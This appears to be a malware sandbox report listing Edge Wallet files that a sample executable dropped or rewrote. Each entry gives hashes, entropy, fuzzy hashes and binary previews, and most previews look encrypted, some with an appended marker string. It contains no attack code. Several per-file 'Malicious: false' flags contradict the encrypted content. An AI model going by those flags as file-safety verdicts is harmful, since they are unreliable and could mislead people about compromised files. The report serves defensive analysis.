SHA1:	FE6D2C0A7AE25523D3956DFC09B311F68BEB720B
SHA-256:	C8166EDA67A21DD69FD337E52D9DCABB0C2E7AA93CCDE31EC2DC04510DA3360D
SHA-512:	5A455124FC3D76F01F27D406DBB31A526D381A5E818B0FCDC15268AD12EFDDAC8B71537B71776957B07282EC57266B6153F741D913C1E885D84C383FEB158647
Malicious:	false
Preview:	{. "..?.......o<2.`.H.AZ.........b.5...z@Z...+.._.h+.....&.........D^...7#....A<...._P#c.w..!.F.H;F..F.k...>.%x.:9....6.......q....aw...S..Q+/.b.!p..A.....<../0..7.../;.;.o.0XF&8_)..y/.x...\|."R..Y.-+=.....M.....P.~..[g..g."9...+...mD.....z..}....!.da.......&t.L.;...Tb.V..w'.....^p.p.0.C....\|......E/.+.\|0Awn<n.8.....'.UA.u.+..OR..:...,....z..#)...Jh.SG.c...c...[YCi.C.>WA....]...,...\|}....f..C..g^.>..hKY.4!-.Kr-j....l.^..../XB$..n....;./..N.N.=..&....@#H!.-M...N....E..#...B..t...r..?>..1?..n.....?.....m+.r.4iP9].."...#5:...C_8.x..f/8.&.%..B....L.......c...V.Zv....Z.$........<K.~.`.D....k..........L.V.CdVnbfI9...........a....N..8P.W.R7~..T....[6..dI.I{y...E\|e.pg>X1._.4..!l..6..l..m.{.qs...r....4...E..I..OX..^.V.D....?.4.\|`{....w.q.,.m....Q...H...v.....-Lh#.8...\|....C\..G..j...6n1}y. .g..\ro.QL..f5....c......e..a.W..Y....yK...?&.x..<e..X.......z.5.j.....a1....4......~....`...j....^N.'.:....xq.z.d/.Rm....).}7}..P...).u..s.^.5,.$....ujt.. Y].a..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2231
Entropy (8bit):	7.910258503944464
Encrypted:	false
SSDEEP:	48:xdisWD6GYYkCnghGhpTitDET+uYjeTfbpr6LWkmrNBJD:x8Z9BgyUtDET+uYjcfbpBLBT
MD5:	725F9C5E363404DB00BD5096C85F3685
SHA1:	CE2E1145DCFD7B73E74FC9F9C6C03303E1B07097
SHA-256:	AFDC070BE2C0E8ACFA97D0FF0791332E82DEB0BB1A355EEF5B09C2013B51EA53
SHA-512:	60D29D1476F0546B96B1C3532BFACC396BA698CA69FD7431997BFEF0425F7216BABF1DC2F9FBE35B246F065886B3873463EBE8154F9314D50CA2F04AA48B38A9
Malicious:	false
Preview:	{. ".....&......_m...B..~^FumO6u...:..D.eNR].7.........X..F..P%..0...........D..(G.?Z.`..]1l.D..n..r(.....J.........~.2..%.(s..)V .Pr'..........4........2...k..~..:........m..LRV...dd.[..a...S...,.q.....y%\..2.h3{.k..8.../...@B.D..Ak..\..'./...#.5O......{..o/+...U...S..;i..G.....s.}.6.k.\|....OJH.A".EY...@.r..5..;.`a...3k.P.>"A.....s...&..,.:.........=Hi..[../..a.g..t...Q.p/r."...>.@...kb......rF.v....Ou=....#K%.1...R...m..`&.........ih-.#....N...@n..m.....+..B.%.."..f.6...5Z....u..Q.....M..F-.y}.}ge=}T.i..S..\|........FsiA_zJ(....wW^....\.>dm@......k..r........\,.%...e$...-..U.q8.v.[-i...e.../C..E5m]Jr...,.....M...1...z~..{.R...!..G.K.`...>D..$....KA..W.E<.o...G.qt...c-Q!..z#.....^N.Z..e.I9i..89q....W..g.......47Sb.[..=...qD..].-....].:..Z...96E..M.}U.j...,...n..{Vw..O....l.^S.a#.%..w.a!.O..%.......,......;....M.N..k..d..8.<c.<...KX........!=.Z.e.1../.s.....O4..}.C....=.f..O....0......sY:.Rw.....s.... ...+u{....]....P

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\es\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2577
Entropy (8bit):	7.922715351239191
Encrypted:	false
SSDEEP:	48:iYlprUHyLmEciw1EAsleWggM+/syfux/v1EJ+68x6mj2l6QrMaqZV9jT69oCfyCk:7pwsxnAs2+/xfurM+6P4QrMpZVN69N3k
MD5:	5F5282C3A7AF7F878239FEF7A39429EF
SHA1:	3ACFEADA34F6C8132DA76D94DA6155E285E3F03A
SHA-256:	AC4F21BC24F6510B95365384F30D0A1B36CE3774510ADF2DE285E602DD511D36
SHA-512:	BBAC1513EFCB0701148FAC2F027E6BA48A02B2D0BA558E61DBA74FD2F38A002B7090AA632D85143F8EA71CEEC22024901ACC50E3C26A9D80189B2FED811B6913
Malicious:	false
Preview:	{. "~kW.FK:?~k..4.91S#..v......].3y.^.P...,.L...c. ..d..c.L.J.3..h.X.w2.]}.TJ..X^].?..\|..{....(O......[..\.i.r.s...LH..^..1.(..$i...=yP.._6../.cO+T.....N.d..MK&yK...F..:..+.0.g...c.&.L.X....[l...r.e.B. ...`..?....B.. ../Yn...l.?)..d.. .............4.E.s".#...n............,.7@.......C.c.d..gSm#.......A.`o.<.... mN.~N>..V.....O;#Am.<..V?.....(..s....@..GQ.3..(..sB..,f./......I...[..._...+...y.....@:.... ...8Z.ml4,#.8Es.@.7.\e.b..C3/O..@.i....9U.\]..s...GK...)..x.W....,.Q..A..%8.t......V<y.H......5...^.........[......<.....b.-".gb.....L.".k...=.&.L-...fo5E.V..MG.O.puv....Z\b4...#....CT........-......Io{.XS....>..{..k.._..#T.4..L.u....j.....".q.........W.n\|.L....y..MBt....g. .....^M.w.\|.4.$.H.`.p.......^o.........cf.l.K..uJ.......g.U.1c.\|..0..a.9....S..@\|....`.r.4.q<..i..=5m'U.A#w..N...T.....I.j#.+>.._.....i..JJ.%N........$*>.........,W~@.W..B.am..m..q...7I.)..5......./eg$.X...Z..d..u=q.......g8!..5'b....@.a"..[......8?...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2795
Entropy (8bit):	7.930815780603607
Encrypted:	false
SSDEEP:	48:K0Wt3DFWaiobVaRGO5lm8D7YGRHUh8LDDUGTyJ6bgh0Xq1Atgx1XRvbJD:M3DhioYIG7j9UmDUJcXstRvt
MD5:	54725916534FB31A6CAADBB8085E60BA
SHA1:	504637BB12B4C19F129D0A7196AB3D0BA7C31A27
SHA-256:	DF6843E632341FABEF5B7056127E0DD4EDD821FDAEEDA7B7092C43B2E2D94887
SHA-512:	3DBED36D25EC46E050F0B3D1B4A29206CDD4A0C9F723B6A7ADA2F0801FC2E5B086331F17F16E1B5E4B4B614DE3322D4C7D747075D683FCBC8E0DE92009F2EA75
Malicious:	false
Preview:	{. "...].+.aw......oq...Fp2`.7..J/B...;o.q+R=x.Y.p... ..[.;...+V.K#w...6^...NI..s.E-.g+...+zb...5e?..q....9....%..E..$.%..].\..m!y?.d..-..o(j#P...j.#..7.{-E...?..G.."../xI.'0E....M.!..\;.j..0.&V..7k....:+.....20J..UW...\|..../.1..i.....NL.zT...a..3.~.qf8..l..1..ac.....`x.?..C...."_.D..<"...x......B.;.../...,..h..J...V.).-x...ZJ.tM.4.M..w@(.dm3$.bj.~...f..:.J...-.G..7...d'...._.D../B......t.%..8....}5%j...>.8....?.Vc...'&.u.4e.Hl....Dk&S..GTL..)V.4<...m......bY......0T.[x~.u_...a@yFte.....h.!w;....QG.a....N.l">(...K:......x1.B`...N......T...612..q.9f.X...KT.....0..x&..{.h..5u...dO...<.D......D.d...1..U5..~.c..#.A.-.D.~.&.1./rK.g.........2...P%.<~`.X.......).[.....X\.Z..[.K.8.X....Wi.?.........Nw.).......z..+G...0;....F_kg/Uz.[.\|.....2..W.....,....N.Iq.}...........N.6!...LcP-.x~...u....'5.....!...~....:.S..d..h.s.....U.%L.9+.{d.B.I.]....V@.../....qek..Y.s5^.1C9......\m.Q..K.Y......m..........n.......u<...*...9..d=S#2...u.\|..@x~g=a...Tv.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2795
Entropy (8bit):	7.93213439358701
Encrypted:	false
SSDEEP:	48:aVLWBJkFilokOjHnhnqjFisCDGFIKdLhtcibA7GmaiLptrns5xkI8/tRWJka5EJD:ILWPkFUTsYFivDGFIKdVtvA7daiVtrnv
MD5:	B5FD335F1928453A8449A031D85CF191
SHA1:	8B118CF51088625E4AC47135405F23353998DF42
SHA-256:	6A92703EAEB6BB60BD0881A4A2DEA19671038DC80CA74F955A374E9BE570A6B5
SHA-512:	D6F99733010AE06ED961BF07C94DEE54DEC250DE146723A8E1F201AABF4BFD0B6185D845CE80532D9B84AA9A61444EAFDE076C70987625E4ED620FB89507846A
Malicious:	false
Preview:	{. "..$.J.v.!u.....^....J..H.,....T.Y.$F..n.J.L.o...nh.9...mx..HgsN.-.k.as.............4.....&cd.5.<.H182.S.D.`..Uo..sT...d0..7....s.K0..&6fY.FZ#..W....2\|dj.{.O....uM..$...!.o..YZv.Bf.s..L.wp....6...pL...-....b.8k.....c.T...=.&j...v...^{"b..5Px..CI.~g.:.]$.).#}..)..5..:g.......^. ....>.(..~..;>fw..L...K..........H..o..b.H...q.....~...w>.B..8n^.-.e..^X.6.Z{._.J.......!pR.p6...tO.+]G..2Ya.S>.....&.b%..gQP......e,...P...%.!.=B........6.._......:t.P.z.u.....>...}....h$..\..$.....U.........>V..m...~..x...u?...{-.#k....7!.D.;\|)....x.'....H._......U....b..8....a.:..F.n...U.{.\|(.A...N.......).."w.vN....{<...4,.4..#.....@...r.HCn.RC.;.+...JM.. w...g......7Gvu..wR......_Y2..m.SL ..^\|4.C.z.....i..3..^.~...Y4.4b.............bN.\.....-.h.....xr.nu..../.i.....q..l\|...i ...Lto?Z....^%......G.S..G.`...{......SF..h....s...@.2#.......^..t/#7.......:...;7..e.Zx....Y.G.>..q.....S...Zr!..%........*..h{.'o.z...../......r&..p!)bv..<..I.p.H_.M5.Y.UEWt<

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\id\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2402
Entropy (8bit):	7.913093385705094
Encrypted:	false
SSDEEP:	48:j3ne2JeSQO24MP5v4qNNt+jgfnzZmkkYSc9lNJD:5Je22Jv4CEjgfzAil
MD5:	511DA7204F641A59FB7F90C74C58B941
SHA1:	300449564E377E348928413F7AFC4E6E0FED480D
SHA-256:	1FFF6EC243F521E10D28223F11C93EE6E927CA19331E0A9A4A1C713A0B005948
SHA-512:	2D65DF4F0C2DB6079B741760BDF0320950A7BE7D7652A2669B48E9CE0F0224992914502CBA9042B9491AE24ED63C7809D07FEB1965C5D18AA7EEE46F43C4C589
Malicious:	false
Preview:	{. ".oT?J..7...=.!o>..3E..k...!.'..ap.P>q.8i{..eS.0G..Y......c..,..&..G..e.'?.....a....=....pB:.c%....&E..X...:.....p...v....\|.W....M.(.Lz.Qg...D..aA.b.+.....I\....T.Q..xG./...KJY....Q.\Pu....;8kLr...(.zY..>>=..^...Q...9.@-DM....q........\.,OZ.0.}}........h....N......\\|......A..Y.1.........V,..&...".WD..( ...9.np.Cy:.?q.3..a.t.<.K....v1^.T.lY..N...^h.W.NheA.....6.( ..v.Vu...a...W.?Y.k.......#.........x!.'sJN.zwy....c^....Qbx...G....+4.x...USO..].....%6"Z....X:.)p"....q;....jP(.`....: ..K.\.}....k)..jc...~,.;.r...=.;./P..."Ea_\|......b.6)l..&..(]K.?..=x..;n...a.)M.......T*Q\KB..V.Ym....".aEd....+...!\|........w,....tI4..f?...P.o(..O..g..n(..u&..bM..ITn...CS....9.3_o@......G..Dk........O.r....?.0.K,!..;..=..D....l-...o...y.)..KQ..}.(.......E....U`_Bw../.U.Zv.C..A...c....a.Bm?=....K.dh3.$........K<...-u.@...a..4.``O{......t.&8..dC.....ug....z...H.......'.}E.X..\|...l._...-r.CY/.0..C/FY$...9..'.6...8.h..a1..5MD. _.x.(.t."3...].;.hz..2.\|_.&

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\it\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2549
Entropy (8bit):	7.923010304852157
Encrypted:	false
SSDEEP:	48:rXoIcu7+NwAeTAQIy6oVgOFbFA8vYSlj+y2n/J/XW09cfVHF0JD:bot5wAsF6oFJFA70DKJ+qctI
MD5:	9DC21426862500549917CA538BAB8733
SHA1:	5EEDE61264DFF705C840FAC7954DF7385376E840
SHA-256:	9C7E65B5EDAD9670FD0C1F60AF3D4640BB958D1DCEA205A34C415AF24190A3DD
SHA-512:	97AEDB1ED152069F630AEB54ED2CE0C6148204828F6E2BC6B74934DC2ECB7952D49ECF7D4F3310A9E958CF76C639A30F82AB96873BFA245790452F796F91E88C
Malicious:	false
Preview:	{. ".Vf...P.s]RG.d%{h...Y.J.Aq..Ua......`....C..C...#....7jk.....2..{..G.8.....T.I<.<.....ICa.K.2[......."......z..'.l..R.....*{.[.1.`B.i:t...p.......2..s...i@.'.l.;.Q..2.$.-Q..u..f......#.F.)?1..f=5..)F=..b.1......1..TX.e:..kY.. ...P.h..-..$.9,Ej.....Q.&.=........u...Z .3.i.Z2...a.k[#o..n.+)..........6..G..G.$.0o../0....@.Y2.1......K.):^.\|+yr..L..$.n.b......6...jt..:.).......8..ad..A)0.......=Z.}e[C.m..`m.L..x...<..8......a._....s0.8.[;..f.3.y.?.,.2\|.....7..u(..X1.kNqG...........Ug..2;.Pr/.F.e9.l....7r....Ju.C..]>..3C..\....p.Od.....f8.,.].....FJ.j.3.q.. ..K>1.p1.i..3......qWx..._.6.BE>...q./...LF.7.(......t..}}.8..y...J..wx...0s...p.%j.HHa.lo...&_Vn.S...}.....n. .;...h...&..;k.q.7..lT...=.+R....w?0.y.Z1......Ze.H..9.f~mU..h.\|...[Li..J..-..H.~..E.9.>.....S..M.....T\|-E.......+,H.%.e.=.J..<...k.8....%...h+...vf5F..J^L. ./..o`}'.oj.....H.~...z0....%.....8......DD.A.D`...g.;..c5j......GV...b.A...Tp}.b...#.&..@...-6:.T...sz....!H.....(h...bY.r..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2767
Entropy (8bit):	7.90849269122184
Encrypted:	false
SSDEEP:	48:i4dRHbOvcyGjE6PVaXIWwRxQdTAjvJ+by9i04FuCQIHz2egrghloJ3Y7BRLYsCJD:i4THbdyeUXIWwxQdsjxHi3uCQMzdgcKX
MD5:	8FD544FF3F7F400D841AB6DF26264D8F
SHA1:	13C50D1FCB54A27545BF3BFAB6A884629B58343B
SHA-256:	04D253BBA82244DDA6B36D157F0F6573096F50EA71DD25AD31710120257CC09C
SHA-512:	1E4758818AC2547AFE2297E3489C1643000608B802C2DC68375B47770DBEF37F025C0B8AC01F34AC8C58655E8FEF34A41A380C2748F1563C9A8BB43F83A7E646
Malicious:	false
Preview:	{. "x.!D. .v.i......h.......`$./..Z14.1.t.y...G...7dk.%e.b.....W...U.........(......`......u.j.j.)..-.xB..V..4.....a..W.1....!SF._@Q....u...H..;.D4v3.(.O.E..h.n.g~.i.GR~...8............x.`a...-........b..O.Pq.C.d7...Z..T...A.q%-.I.z}..'..2.U....j......6...S. F....x..X..)=d...j.+...C..#._........X..H.._..t..m.m.......s.uS.......}.".Vu P..L..P.Q...^."7~.>+.,...ev.m,....cv...6.h..pP.'.~.S........v(X..E.y..y[.k.~.j....."......t.M<..<..$7........VN...8..Z..(.yG%.x............W.y.....-..\.....M.$.h..=..g....1.......=._..-L...]Q.....U"..W.........;S....I.+.).....yxf...z..kQ...c.E (..lWe.5........3...Ny..)...~....).p....s.h.Gg._3...3}./ ......V.....t..t....F...,.cX}.B.3.F#....mn.-/.B.....\.V..;....;k.Oe.&.5...A.....d.....+..C........6sf-.}.8....Fa..m.[....-..^......;..m..j...i..m......X.$5..`a.'......$j~............N%....me$.6....d4....X.....2o.}v#.......+jE.X..g..:.d.:..N.+..T.J.......'..K.4.....;......\C.O.#.XY..7....E/..>..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2457
Entropy (8bit):	7.912347558327451
Encrypted:	false
SSDEEP:	48:3jLwUp+z0z9tSOeFNS+IwrHB7n2JClExfcy25hdS5nwVVDHyJD:T31z9s3nIYxn23x0y2s5wbD0
MD5:	7F9EA3B5F49DC20505676FDA2FCB0FFF
SHA1:	D9ADD06A60611CFB1041ABBEB69F49CC04AC4B5C
SHA-256:	B1B6ADFD8A6C8DD7620E6B698AA6CC1E87E544542951F1F9F92BC0F30CAF5A00
SHA-512:	E3F3D1251B7A10BE94806E5A58E3451B5DCBB0AA436C8F14AE0689031117D2FFA7B4B25981A145185E6D13C5CB6704941813F18F61EDDC276AE2A0E3084256A3
Malicious:	false
Preview:	{. "..9L..l./.x.I...<8.......'#w..W-+Tl!s...v>.o./...K...b..g..&..E[..H.b.BK..0.{Zr.......~1.D..I.......i.}.......[.K....o#'...........4...N..)...-w(...).._@..!m..u. .S>m.(HI. K'....6.F.8........c...&...>a...~.'@.W&.b\|...u.B...!..A.Pi..N..Cm..1/V.......M6.1..?7..b%6....n\|...<.f...T..m.9...Z........)....NhU.....u.k.S.......cO.....!.+.7<.........B...Q...~.j}z.1.v4 .....Vc."<..ND.^?....y.;X]d".k\.E...8n..x.9..!.6W.......+....).. ...\|z...i..k.!._o..[C...}u.n..<..W...1(......@Y..{...jS..c9..J.c.zi..:).`L....Z..@.G_.B=1+E&X.......%...UB/...Y..O.A....g\|7.k......~..`l...UX..........;.r.yU....K..lU.[..A...m...x.X...2.WP../\|S.SKp....h.S../.Z2.cDr...00J.3.O.1."..Eo..?...TD2.Yf./xf...Cc......f.k8X\....]j!K...`.bT../.K._Q...-G9.X.:.'.5%../..N..L.)/..>1........<..E..R../...L...n!..N5....^.....N.......3.._...}..u(.gG.C..;._.y..&a>..WXv.X.C.H..u.q.*.L.pc\.R...;.:b.H&..Hc..h.t..]X{3o...@P...o^.]>.g.WC.'vo5..U....C.X...M8.H.E.nG..k...2..JBs.X.=.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\README.md

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	420
Entropy (8bit):	7.357712997796855
Encrypted:	false
SSDEEP:	12:GQ68n+7aTU3VA18qzwvkG9cwm9M2cii9a:Rz+7YKAFG9cwm9pbD
MD5:	763E47259B70C43A7F2D3314FCFE1D7E
SHA1:	9638F2499834704B8EAC90969E11D8B1A21EFCD3
SHA-256:	5F36A327F5D2254E6A9A4F36B41117AD8B37BB7BCACB8B5FAD9A38DF7FEEC804
SHA-512:	055309789BB91C8CBC62D9C8B323FB357A14966AEBB50A892E6036F01F734C3CA9E460E60C40E7ED9619A022C33EDC1B395908703EA4E739722571D5BB9DC989
Malicious:	false
Preview:	# DiszN..U.h........^F..z.z.>.fl.`xR4T_......ql=P..)..x..U...*/..:Y.>.7t.?......Bw!..0FG..>R..4Zxn..c=.vq...T..:i...E..S....P..R........0.%........oe..$..p3.mq...tR..)...Eh..=....)....i5.pT.i...0.E.....!.\jc5&0)...3.....6.vgE.....k.hS..!...(.~.?.............&-.M...7._.=f.#.c....Vu.v+~.X...."..-..BR.,.......?..M.C..B..a.8.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	21010
Entropy (8bit):	7.991253469972934
Encrypted:	true
SSDEEP:	384:o9R7TurKtANB8XlZY+w5r1Yy5reDC5+hAK30jooemi3XffCUNxApH5P4SyJopByT:9Xss+wzsCNrEljSmAxJo
MD5:	A9440DB8A63E82821900F85C103A2B7C
SHA1:	8F850A5FBDA4BC2322AE19D3EDED838B3114A831
SHA-256:	68D9B3B36E613F4EDD3FEE9D659CC1FF1A7D2DDBC76CA539CF1F0221E4256516
SHA-512:	F0C62F0A42C6029E567932039B0482F8D2708CF2482602001AAFEC745C39E0165A4A98F4DD9F829F802DFB7C1299AE59643C96F23A313EB76CDAC8910169F5A2
Malicious:	true
Preview:	{. ..........OG......p.... .?.=!areF...'.3.l.....]."e.".......O.D.i.(........J..7g..c..R...j)......O......&.XyHS.k....0..(./1qb..SC.V..=u.W.....r..(..`:}.6].c....{"$...w..Fs....6."n..K3q...........u;1].E.+...k..+h...0..U...o...8....~V....M..V....'.ut2..z...o...02...V.e.......M.......T....q........6.......1P...3.S..w...[{........}......l..1.W........c1..@..r.;.r......Zn..L7+...z....E!..o..T B..~...#l+.#.f2...;.....N..."..O...'...J>..=.J.Lv.Xj..`..........d.C.Z.O/..T...g.......-^......r.2....~mfT..Y....t...J.v....$M..3..N.#ft:5.SF..hk.[KC..F[Z....kVo......,\|.:...w7.I..I...0..W$..p......zM....9E.';hUc.c5.g.....-..3\...KP6...=ftHR..t&.U... ......j..."..3..s..&..4.\..'.n.w.b]\...fK:.Z........`!'..<5.+Yd.90..z.8.j..T.........u....C.E.x6nH.fCr....I.+.....K..5.9.. .....x....t.K^^.W..s..N...w.....S...............l...Y...Q..^.....K...2..te..@.......t./.}F.m.....n..8......oI......X^.bH.PR.......j%..$.NQ.o.l".x..t..D.).g..%...0r....b.....Uw.k.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	148627
Entropy (8bit):	7.998837500070136
Encrypted:	true
SSDEEP:	3072:19eUKzTPfPbLbOaa6dS1XWY4kZpLp/057eMGbpZFyEVKG4XfoG:j6f/6aaUjZoVY7enbVKXQG
MD5:	25456CA172933DCD5E0C31E982E07E55
SHA1:	9F699972E4C7F178548850E51B7064FB64A95601
SHA-256:	0B013CEFF3C0DA9D688D7E4924E156CE8C5C34F80190B4E698118547640BA409
SHA-512:	C12EEA60A87F91DD5018696919BC144E7AE1AB9FB192F554831ACF7302A52F446D4C25F675EA6D34E3D48B5AF089B2A8A5132B6CACC3F83F6830B61E8BAD436A
Malicious:	true
Preview:	{. ...%{.9..e.$.q>..q;..a.p....`..M.^l..Uzu.i....R\|.w_8.N..N^....%..a{....D....1.3...7......3...L..A..%......{B.7.=O..d....".EA.WX.k...D?.c.}......1.6..n...je&.......H-a=.l.q(....:..f,.Y..UH..../... .}.h.....c..e^..x.m...%.}.q\'fp.^....a..g.;/$. @..!.J..EP.9.L...2.+_.oc0.....%.../.../....+.x...s.3ZY.f>.~...~..~..x..C...."...^R-.ucC.u.x......G s.j.zs3../.O..mI....,..].U.Y..&..d....k.:....g.y"F.. .......]..<..:..>.%.li.q.%X=.....b...C..R......Bb.C:..y..=..\..4.....Avcy..]..X..4?..j..I...0...m".8....{..S7.</.R#d...\|.-.\J..)n......qz..x.z.....\H"U...=.o....T.i;...P....8..u...B7...UC......H.].f.`..^.v....z-.m9......!.b...`LK....H.,.#..l.0..$...."..~.c..y%.P..J.j..Y.^..T....f.b..v....k..,.K....<...q.M...\|.....V..0'..a.B..J'..+..V..CAG./nN.b%.a.~..vn..s..:.S;.$...4}......kWf..'. .z....a...%...O...2o..6IxqM.....~k.+S/.O.@.$..a..,pf....1..Sm....-L/u..C....'..9.%......!i.".J..........C._.s}.y.8...F...49...}Kaw...Q%.d.)<...T........2..9.*$M2.@../

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	511701
Entropy (8bit):	6.017993568889789
Encrypted:	false
SSDEEP:	6144:gIfj8iQDG78hL3Nbw/zWd6twkEqpekvmWH3+klkfzTOJHYUbHG+FZ8QTHNGs5Aej:gIfj6GIh9Kd6bfoGQ8+eej
MD5:	DE70F082F0362CE3224EDBCCAD9FC62F
SHA1:	A736026DA3D2E58DDC69AF0EC337F36F8EF1879A
SHA-256:	195A2E1BC1941F6014AF26EAFE16397A580B0CF75FA89E5C4F89D938B5CC3770
SHA-512:	07D39314315DD0A95515FC0AED04CCA91DE7E18DFCA1F5973B14183ABCA93DAA3E33FBB3FAA90362920CE0736C1B78E32B56C610C7190A81889FCBD9A38C7AF4
Malicious:	false
Preview:	{. ..Gf.Fro.\.Y9..x.$E......b.k.L.....,.yEtee.yA.Q.....~J..M.%s.(:...2..j!..y>...-...s..\.i...F+X6.M.......Z.67f.........5..>v.+.yd...=.h...dG.j...1..M./.7.\.k.0%...,....i..Q..~m6.5...25p-..^.g.k.n)$".m....+..(.....rE. C..Q..].=I.(i.FH[.X....z..?......a[.>....j@...:.2./......9..O0)3.yn5..G.b..;._..i..9..q..~....%P.).h..A9a.yj.?.oGF2.$....i<.K......h.]......c(..}.5*'/....../.^..w7a .3...A....=...Y. ...c.X...x...$.7......).^X1..:..C .]....1.)7.h.G.!>..c....~........;..O...5..UG`.s&.bc....<.5.8xL....b..}...l...~.....-.1...I.;?.^...[....[%?.....^q..."...O.h.....#^....~-h.bp.......g........MK_.......VX.g...n;.d%..AF...d....x.D.J#.Q..0^;......7..m'@?A7..@0I._.......V<...+..}.......8.+i'.;...s.P .{Y...{.V.B...%....\...J.....jK[w~..M...^./.N....N......9.P...(.....qHK..... ...L}...,j..&.{ru?.h.Vl..J.r.kZ.E}.NEa.EA(.c...+...aU6..u.})1.u...KWCf.....:Bm.6yn5..Cb.1E.7.~.0n......v..Piw..<g..&g...p.>...G.q.O..(...{[aF...X....b...M....V!\|.c[...#..x.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-notification-config.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1060
Entropy (8bit):	7.79905468512487
Encrypted:	false
SSDEEP:	24:CoBgKZGqbQ2Q5Aku7ERy/Y47xRwAtOly2cFmQHBoX/lflCmGsNCOrrqPFDcfTs3X:zBpPQKEaY4l1tiy2c4A8/lflCEycfANh
MD5:	AA4358EB099EB6E6AB614DC9353690AA
SHA1:	0AF54EAF57E01AD202A2D8E904D8EF2E6728A998
SHA-256:	4806867BBBF98084F0DED3F94EC9BD9583BE50D2D825B589D322380D84C2304B
SHA-512:	A22B95276EC0DAC6135CC34EE52392BFCA97AC306463C777A3ECEF220E0B8F7A50BD33FD18AA04E2F6AE91FE955F68A0F8DD4248063FF0D8EC0202B1B57E764B
Malicious:	false
Preview:	{. ".....c.0g..W.z..M..i.....@.[.C.`v>\......Y.]."..![.o5s.{~fR.\|.?.Eo...F.'/.>..m....A...sL.W4B...O.2Af...SaJ..SG3..A.....Gc.\....<../\|..t.....hnb...['.!t...........q\|./...".Z.J.....~c.~z.V.A<.:yz.4..z.....w..j.I{..l.....:.0...4u.2..Z...SFBRD]F.h.w.DF...]...1&.(....m..."...?.....8~.+G...B..M.p........?.h....U..tA..A.i<te.=v1a.....{.Uy=....].\|\l..n............S.:T@.5.Iq{..+...Y&..u.%.J....4?j..v\..g.....).....8....=.'....u.....)Y`..wJ..L._f}....G...i...k7.)Q.eQ.:......d%.W#e ..Va...hb....I.......H.I...=%...e.n9P..]:...e.m..w.....[?..%..w#G^...'.PQB...y.!-d....22.j..T...z8...m..{.$j....6..N...."....Y...p.._......?.K....X....]G..e.X..y}T4.......:.....p..-.~}.~."......eJm..5h....}H..U...D..'N..._s5.....e.bf...H.\n..@....\|.'.x..#.l.[....I.eJ.$E.0.o...l...~.n...YfVp.Q1......o..95.....O.\.........m;.~F.N]R2..eYM.+V.s...!.1..._.A.o1../.W....$]..S1....).)m.,%.....Yu.h..p..C<.=....l.*.~]G..\...<5..5...R...6`c....(.xcdIdDNFh62dy3iJsb

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-pre-stable.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2333839
Entropy (8bit):	4.656516299016506
Encrypted:	false
SSDEEP:	49152:PYU2eN/FYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEX:WY
MD5:	9045C8DE185F6E7338C36D538E5976D8
SHA1:	8B042277E09B931CC4900777E41C7AFAA2FB8CD3
SHA-256:	7F9B88E468E660772B1CB85F303580E81BCD01620017D42220C53B75DCF015E1
SHA-512:	514A2F6FED199AB635DF78E57FC81C55A74AFCE933F56B20F150529F165E01D1B099C2E987BFE0D00EA720420F1AB48FE2AE768F8B381A8E3ECE947B9A24433E
Malicious:	false
